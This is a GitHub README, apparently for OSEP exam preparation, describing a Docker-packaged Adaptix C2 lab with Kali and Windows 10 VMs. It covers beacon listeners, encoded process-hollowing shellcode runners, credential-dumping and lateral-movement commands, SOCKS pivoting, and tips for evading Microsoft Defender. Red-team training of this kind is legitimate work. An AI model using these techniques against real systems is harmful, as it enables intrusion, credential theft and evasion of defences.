Squishyxo/OSEP-C2

GitHub: Squishyxo/OSEP-C2

专为 OSEP 考试打造的 Adaptix C2 框架 Docker 工具包,提供从环境搭建到载荷测试的完整红队演练方案。

Stars: 0 | Forks: 0

# OSEP 工具包 — Docker 中的 Adaptix 一页内容。涵盖你从零开始搭建可用的 C2 并测试 payload 所需的全部内容,专为 OSEP 打造。 **目标:** 通过 OSEP。**方法:** 使用 Adaptix C2 进行回调,一台 VMware Win10 虚拟机作为目标,在考试前逐一测试每个 payload。 ## 目录 1. [你需要准备什么](#1-what-you-need) 2. [实验环境搭建 — VMware 中的 Kali + Windows 10](#2-lab-setup) 3. [构建并启动 Adaptix(4 条命令)](#3-build-and-start-adaptix) 4. [第一个 beacon — 验证回路是否正常](#4-first-beacon) 5. [如何在 Adaptix 中执行各项任务](#5-how-to-do-each-task-in-adaptix) 6. [隧道(Adaptix 原生 vs Ligolo)](#6-tunneling) 7. [测试每个 payload — 参见 `tests/PAYLOAD_TESTS.md`](#7-testing-payloads) 8. [出现故障时的排查](#8-when-something-breaks) ## 1. 你需要准备什么 **宿主机(你的笔记本电脑/工作站):** - 至少 16 GB 内存(虚拟机分配 8 GB,其余分配 8 GB) - 60 GB 可用磁盘空间 - VMware Workstation Pro (Windows/Linux) 或 VMware Fusion (macOS) — 免费的 Player 也可以,只是快照功能较少 - 宿主操作系统上安装 Docker + Compose v2,或者在 Kali 虚拟机内部运行 Docker **两台虚拟机:** - **Kali Linux** — 运行 Adaptix 服务端 + 客户端 - **Windows 10** — 你的目标机(你提到你有 ISO 镜像) ## 2. 实验环境搭建 ### 2.1 VMware 网络 — 首先执行此操作 beacon 无法回调的最常见原因就是网络问题。正确设置一次,以后就不用管了。 在 **VMware → 编辑 → 虚拟网络编辑器** (Windows) 或 **VMware Fusion → 设置 → 网络** (macOS) 中: 1. 使用 **VMnet8 (NAT)** 或创建一个新的自定义网络 — 命名为 `OSEP-LAB`。 2. 子网:`192.168.56.0/24`(或任何你喜欢的网段 — 只需选定一个并保持一致) 3. 禁用 DHCP,或者设置一个较小的 DHCP 范围,以便你可以为两台虚拟机分配静态 IP。 4. **两台虚拟机必须在同一个 VMnet 上**。这一点没有商量余地 — 如果 Kali 在 NAT 上而 Windows 在桥接模式下,回调流量将无法互通。 ### 2.2 安装 Kali - 最小化安装即可 - 为其分配 `192.168.56.10`(静态) - `sudo apt update && sudo apt install -y docker.io docker-compose-plugin git` - `sudo usermod -aG docker $USER && newgrp docker` ### 2.3 安装 Windows 10 从你的 ISO 安装。安装后需要更改的设置: - 分配 `192.168.56.20`(静态) - **保持 Defender 开启** — 你需要针对真实的 AV 进行测试 - **关闭“自动提交样本”**(Windows 安全中心 → 病毒和威胁防护 → 管理设置 → 关闭开关)。 如果不这样做,你测试的每个二进制文件都会被上传到 Microsoft,并在几小时内失效。你的 OSEP payload 也会随之失效。 - 安装 VMware Tools(Player 菜单 → 安装 VMware Tools) - 拍摄一个名为 `clean-defender-on` 的快照 — 你将在不同的 payload 测试之间恢复到该状态 ### 2.4 验证两台虚拟机能否正常通信 从 Kali 中执行: ``` ping -c 3 192.168.56.20 # should get replies from Windows ``` 从 Windows 中执行(管理员 PowerShell — 内置防火墙默认阻止 ICMP;仅为测试放行它): ``` New-NetFirewallRule -DisplayName "Allow ICMP" -Protocol ICMPv4 -Action Allow ``` 然后从 Windows CMD 中执行: ``` ping 192.168.56.10 ``` 双向均能回复 = 你的网络配置已完成。 ### 2.5 虚拟机之间的文件传输 你需要为每次测试将编译好的 payload 从 Kali 移动到 Windows。选择**一种**方法并坚持使用: **选项 A — Python HTTP 服务器(最简单)。** 在 Kali 上: ``` cd ~/AA-osep_toolkit_docker/docker/payload-output python3 -m http.server 8080 ``` 在 Windows 上,使用 Edge 浏览器打开 `http://192.168.56.10:8080/` → 下载。 **选项 B — SMB。** 在 Kali 上: ``` impacket-smbserver share ~/AA-osep_toolkit_docker/docker/payload-output -smb2support ``` 在 Windows 上:在资源管理器中访问 `\\192.168.56.10\share\yourfile.exe`。 **选项 C — VMware 共享文件夹。** 可用但不太稳定,有时写入的权限很奇怪。除非 A 和 B 对你不起作用,否则跳过此项。 ## 3. 构建并启动 Adaptix 在 Kali 上,解压工具包后: ``` cd AA-osep_toolkit_docker/docker # 构建所有内容(server、extenders、Qt client、BOFs、payload builder) ./scripts/build-all.sh # ~20 min first time, cached after # 启动 team server(保持此终端开启) ./scripts/start-server.sh # 在第二个终端中 — 启动 GUI client ./scripts/start-client.sh # 从 client 连接: # Host: 127.0.0.1 Port: 4321 Endpoint: /endpoint # Password: OSEP_Docker_2026! (如需更改请编辑 profile.yaml) # Username: 任意 Project: OSEP_Lab ``` 如果 `build-all.sh` 失败,请参阅[第 8 节](#8-when-something-breaks)。 ## 4. 第一个 beacon 在做任何其他事情之前,先证明回路能正常工作。这就是整个 C2 循环的缩影 — 如果这能运行,说明工具包没问题。 ### 4.1 创建一个 HTTP listener 在客户端 GUI 中: 1. **Listeners** 标签页 → 右键点击 → **Create** 2. 类型:`BeaconHTTP`,名称:`http-80` 3. **Callback hosts**:`192.168.56.10` ← **你的 Kali IP,这是从 Windows 的视角看到的** 4. **Callback port**:`80` 5. URI:`/api/update` 6. User-Agent:`Mozilla/5.0 (Windows NT 10.0; Win64; x64)` 7. 保存。 首先从 Kali 进行测试:`curl -v http://192.168.56.10:80/anything` → HTTP 404 = listener 已启动。 ### 4.2 生成 shellcode agent 1. **Agents** 标签页 → 右键点击 → **Generate** 2. Agent:`beacon`,Listener:`http-80`,Arch:`x64`,Format:**Shellcode**(关键 — 不是 EXE) 3. Sleep `5`,Jitter `30` 4. 保存为 `agent.bin` 5. 将其移动到 `docker/payload-input/agent.bin` ### 4.3 编码 + 编译 runner ``` cd docker ./scripts/payload-shell.sh ``` 在容器内: ``` # XOR 编码 shellcode encode-shellcode xor /input/agent.bin 0xfa # 输出:大型 C# byte array — 向上滚动并全部复制 # 在 vim 中打开 runner,用输出替换 `encryptedBuf` array vim /payloads/shellcode_runners/04_process_hollowing.cs # 编译 compile-cs /payloads/shellcode_runners/04_process_hollowing.cs # → 出现 /output/04_process_hollowing.exe ``` ### 4.4 触发执行 使用 §2.5 中的任意一种方法将 `04_process_hollowing.exe` 传输到 Windows。双击运行。 在 Adaptix 客户端 → **Sessions** 标签页:在 jitter 窗口内(≤ ~7 秒)会出现一个新行。双击 → 交互式控制台。 运行 `whoami`、`hostname`、`pwd`。如果这些命令返回了真实值,说明你的环境配置已完成。 ## 5. 如何在 Adaptix 中执行各项任务 快速查阅 — 你想做什么,以及如何操作。详细说明在 Adaptix GitBook 中;这里是简明版本。 ### 5.1 基本交互 在 agent 控制台中: | 目标 | 命令 | | ----------------------------- | ------------------------------------ | | 运行 cmd | `shell whoami /all` | | 运行 PowerShell | `powershell Get-Process` | | 在内存中运行 .NET assembly | `execute-assembly /path/to/tool.exe` | | 列出文件 | `ls C:\Users\` | | 切换目录 | `cd C:\Users\victim` | | 从目标机下载文件 | `download C:\loot\file.docx` | | 上传文件到目标机 | `upload /local/file.exe` | | 当前权限 | `shell whoami /priv` | | 调整 sleep | `sleep 10 30` (10秒, 30% jitter) | | 交互模式(用于隧道)| `sleep 0` — beacon 变为实时模式 | | 终止 beacon | `exit` | ### 5.2 权限提升 ``` whoami /priv # what do I have? getsystem # try to elevate to SYSTEM (needs admin) steal_token # steal token from another process rev2self # drop the stolen token ``` 如果 `getsystem` 无法工作,要绕过 UAC,请加载 Extension-Kit(下一节)并使用其 `elevate` BOF 集合。 ### 5.3 加载 Extension-Kit (BOFs) 如果不加载,你只有大约 20 个内置命令。加载后,你将拥有 Mimikatz、LDAP 枚举、DCSync、注入原语等功能。 1. 客户端 → **主菜单 → AxScript → Script Manager** 2. 右键点击 → **Load New** 3. 导航到 Kali 宿主机上的 `docker/ext-kit-dist/extension-kit.axs` 4. 加载它 在每个 agent 控制台中立即可用的新命令: | 类别 | 命令 | | -------------- | ------------------------------------------------------------- | | Credentials | `hashdump`, `logonpasswords`, `dcsync ` | | Discovery | `ldapsearch `, `netview`, `userenum`, `nbtscan` | | Injection | `inject ` | | Elevation | `elevate` (系列 UAC bypass) | | Lateral | `runas-user`, 基于 BOF 的 psexec/wmi/winrm | 要在服务端启动时自动加载此项,请取消注释 `docker/profile.yaml` 中的 `axscripts:` 行并重启: ``` docker compose --profile runtime restart ``` ### 5.4 横向移动(Adaptix 原生) 均要求首先拥有有效的凭据或窃取的 token。 ``` jump psexec jump wmi jump winrm jump ssh ``` 要将子 beacon 通过父 beacon 链接回来(子目标没有直接的互联网连接): ``` link smb \\target\pipe\ # SMB-pipe pivot link tcp : # TCP pivot ``` ### 5.5 凭据转储 尽可能使用 BOF — 没有进程掉落,没有磁盘写入。 ``` logonpasswords # BOF — sekurlsa::logonpasswords hashdump # BOF — SAM hashes (requires SYSTEM) dcsync corp.local DA # BOF — DCSync corp.local\DA ``` 如果 BOF 失败(补丁非常完整的主机,Defender 作用于 LSASS),则回退到通过 `powershell-import` 然后 `powershell` 运行的 `payloads/ad_tools/ps_mimikatz_lsass.ps1`。 ### 5.6 文件 + 进程浏览器 (GUI) Adaptix 拥有 GUI 浏览器 — 比反复输入 `ls` 要快得多: - Session 行 → **Open** → **File browser** → 浏览,右键点击下载 - Session 行 → **Open** → **Process browser** → 右键点击 PID → 窃取 token / 终止 / 注入 ## 6. 隧道 ### 6.1 Adaptix 原生 vs Ligolo-ng — 简短回答 **对于 OSEP:使用 Adaptix 原生。不要上传 Ligolo。** 运转部件更少,AV 攻击面更小,报告中需要解释的二进制文件也少一个。 对比: | 特性 | Adaptix 原生 | Ligolo-ng | | ---------------------- | --------------------- | -------------------------- | | SOCKS4 / SOCKS5 | ✅ (2025重构, 符合 RFC 标准) | ❌ (使用 TUN 代替) | | SOCKS5 配合 IPv6 | ✅ | ✅ | | 本地端口转发 | ✅ | ✅ | | 反向端口转发 | ✅ | ✅ | | 通过其进行端口扫描 | ✅ (通过 proxychains 配合 nmap 工作) | ✅ (原生 TCP + UDP) | | 目标机上的额外二进制文件 | ❌ — 使用现有 beacon | ✅ — 需要 agent.exe | | AV 检测面 | 取决于你的 beacon 是什么 | Beacon + Ligolo agent | | UDP 扫描 | ❌ (SOCKS 是 TCP) | ✅ | | 通过隧道进行 ICMP | ❌ | ✅ | | 设置命令 | 2 | 5+ (agent + interface) | 对于 OSEP 实验和考试,Ligolo 能做到而 Adaptix 做不到的事情(通过隧道的 UDP + ICMP)基本不会遇到。通过 SOCKS5 经由 beacon 进行 TCP 转发,足以涵盖考试测试的所有内容。 ### 6.2 Adaptix SOCKS 设置 — 3 条命令版本 在 beacon 控制台中: ``` sleep 0 # put beacon in interactive mode (required) socks start 1080 # start a SOCKS5 listener on Kali:1080 ``` 在 Kali 上: ``` # 编辑 /etc/proxychains4.conf — 在底部,将任意 "socks4/5" 行替换为: echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains4.conf # 将其与任何 TCP 工具配合使用: proxychains nmap -sT -Pn -p 445,3389 192.168.10.5 proxychains crackmapexec smb 192.168.10.0/24 proxychains rdesktop 192.168.10.5 proxychains impacket-secretsdump corp/admin:pass@192.168.10.5 ``` 完成后停止它: ``` socks stop sleep 5 30 # back to normal callback interval ``` ### 6.3 本地端口转发 你想直接从 Kali 访问位于 192.168.10.5:3389 的内部 RDP,就好像它是本地的一样。 ``` portfwd add 13389 192.168.10.5 3389 ``` 然后在 Kali 上: ``` rdesktop 127.0.0.1:13389 # 或者:xfreerdp /u:user /p:pass /v:127.0.0.1:13389 ``` 移除它: ``` portfwd del 13389 ``` ### 6. 反向端口转发 你在 Kali 上有一个工具(例如 `impacket-smbserver`)需要目标机访问 — 但目标机无法直接路由到 Kali,只能连接到受感染且拥有该 beacon 的主机。 ``` # 在 beacon host 端口 8445 上监听,转发至 Kali:445 portfwd add -R 8445 192.168.56.10 445 ``` 目标机现在访问 `\\:8445\share\`,流量将隧道传输回你在 Kali 上的 SMB 服务器。 ## 7. 测试 payload 在你自己在开启 Defender 的 Windows 虚拟机上测试之前,不要相信任何 payload。每个 runner、bypass 和 macro 的具体测试流程位于: **→ `tests/PAYLOAD_TESTS.md`** ← 这是测试指南 它涵盖了 `payloads/` 中的每个文件,逐一介绍,包括: - 它的作用 - 如何准备它(shellcode、密钥等) - 在目标机上具体要运行什么 - “成功”是什么样的 - 如果被捕获该怎么办 - 与 OSEP 的相关性 工作流: 1. 将 Win10 虚拟机恢复到 `clean-defender-on` 快照 2. 从测试矩阵中选择下一个 payload 3. 遵循其测试流程 4. 在矩阵中标记结果(通过 / 失败 / 被捕获) 5. 恢复快照,重复上述步骤 ### 现实预期 其中一些 payload 会被最新版本的 Defender 捕获。这是意料之中的,并且与 OSEP 息息相关 — 考试考察的是你**何时使用哪种技术**,而不是拥有一个能搞定一切的神奇 runner。 - **明文 runner (`01_basic_runner.cs`)** — 会被捕获。包含它是为了教学目的。 - **使用默认密钥 `0xfa` 的 XOR runner** — 可能会被捕获。密钥 `0xfa` 出现在互联网上的公开示例中,因此类似特征码的启发式分析方法可以对其进行指纹识别。**更改密钥**(在 0x01–0xff 中除了 0x00 之外的任何值)。 - **使用默认密码的 AES runner** — 同样的问题。字符串 `OSEPPassword2024!` 到现在可能已经在某个人的训练数据中了。在每次测试时将其**更改为**随机的值。 - **进程注入 + AES + 随机密钥** — 目前在关闭样本提交的情况下可以绕过 Defender(截至本文撰写时)。开启样本提交会在约 30 分钟内使你的二进制文件失效。 有关如何为每次测试生成新密钥,请参见 `tests/PAYLOAD_TESTS.md`。 ## 8. 出现故障时的排查 根据阶段对症状进行分组: ### 构建失败 | 症状 | 解决方案 | | -------------------------------------- | ---------------------------------------------------------------------------- | | `docker: command not found` | `curl -fsSL https://get.docker.com \| sudo sh && sudo usermod -aG docker $USER && newgrp docker` | | `permission denied ... /var/run/docker.sock` | `newgrp docker` 或 登出/登录 | | `docker compose: unknown command` | 安装 compose v2:`sudo apt install docker-compose-plugin` | | `make: No rule to make target 'server'`| Adaptix 上游已更改。编辑 `docker/.env` → 设置 `ADAPTIX_REF=` | | `dist/adaptixserver missing` 构建后出现 | 磁盘已满或构建静默崩溃。`df -h`,然后 `docker compose --profile build-server-ext up --build` 并观察输出 | | Extension-Kit 在 nanodump 上失败 | 已知的 ARM64 问题;其他 BOF 仍可构建。忽略该单个失败 | ### Server 无法启动 | 症状 | 解决方案 | | ------------------------------ | ------------------------------------------------------ | | `bind: address already in use` | 有其他程序占用了 :4321。`sudo ss -ltnp sport = :4321` 查找它,或者在 `profile.yaml` 中更改端口 | | `failed to load extender` | Runtime 镜像未获取 `.so` 文件。重新构建:`docker compose --profile build-server-ext build --no-cache` | | `unable to load certificate` | `rm docker/data/server.rsa.* && ./scripts/start-server.sh` (entrypoint 会重新生成) | ### Client 无法连接 | 症状 | 解决方案 | | ------------------------ | ------------------------------------------------------------ | | `TLS handshake timeout` | 使用 `127.0.0.1` 而不是 `localhost`。检查防火墙:`sudo ufw allow 4321/tcp` | | Password rejected | 与 `docker/profile.yaml` 进行精确对比 — 尾部空格很重要 | | Listeners 标签页在连接后为空 | Server 启动时没有加载 extenders。参考上面的 "failed to load extender" | ### Beacon 未回调 阶梯式排查 — 优先进行成本最低的检查: 1. **从目标机,你能访问 listener 吗?** PowerShell:`iwr http://192.168.56.10:80/anything` 任何响应(即使是 404)= 网络正常。 2. **runner 在启动时崩溃了吗?** 在 cmd 窗口中运行它 — 我们的 runner 会打印状态。完全没有输出 = Defender 在 `main` 运行前就将其查杀了。 3. **Defender 捕获了它?** 暂时排除一个文件夹(Windows 安全中心 → 排除项)并从那里运行。如果在排除项中可以运行而在外部不行,那就是 AV。更改你的密钥 / 使用 AES / 使用进程注入。 4. **架构不匹配?** Adaptix Generate:Architecture = x64。`compile-cs` 硬编码为 x64。目标进程 (svchost 等) 是 64 位的。任何不匹配都会导致静默崩溃。 5. **AES 解密失败?** 加密异常 = 你的 runner 中的 `aesPassword` / `aesSalt` / `aesIV` 与编码器输出不匹配。仔细复制全部四个值。 ### Beacon 回调一次后死亡 ``` sleep 5 30 # reset from any extreme sleep setting ``` 或者它注入的目标进程被终止了 — 注入到 svchost 中的进程注入可以存活,而注入到例如 notepad 中的普通注入则不行。 ### 彻底清除并重新开始 ``` cd docker/ ./scripts/clean.sh all # type YES ./scripts/build-all.sh ``` # OSEP-C2
标签:C2框架, Docker, IP 地址批量处理, 安全学习资源, 安全实验环境, 安全防御评估, 客户端加密, 网络信息收集, 请求拦截, 逆向工具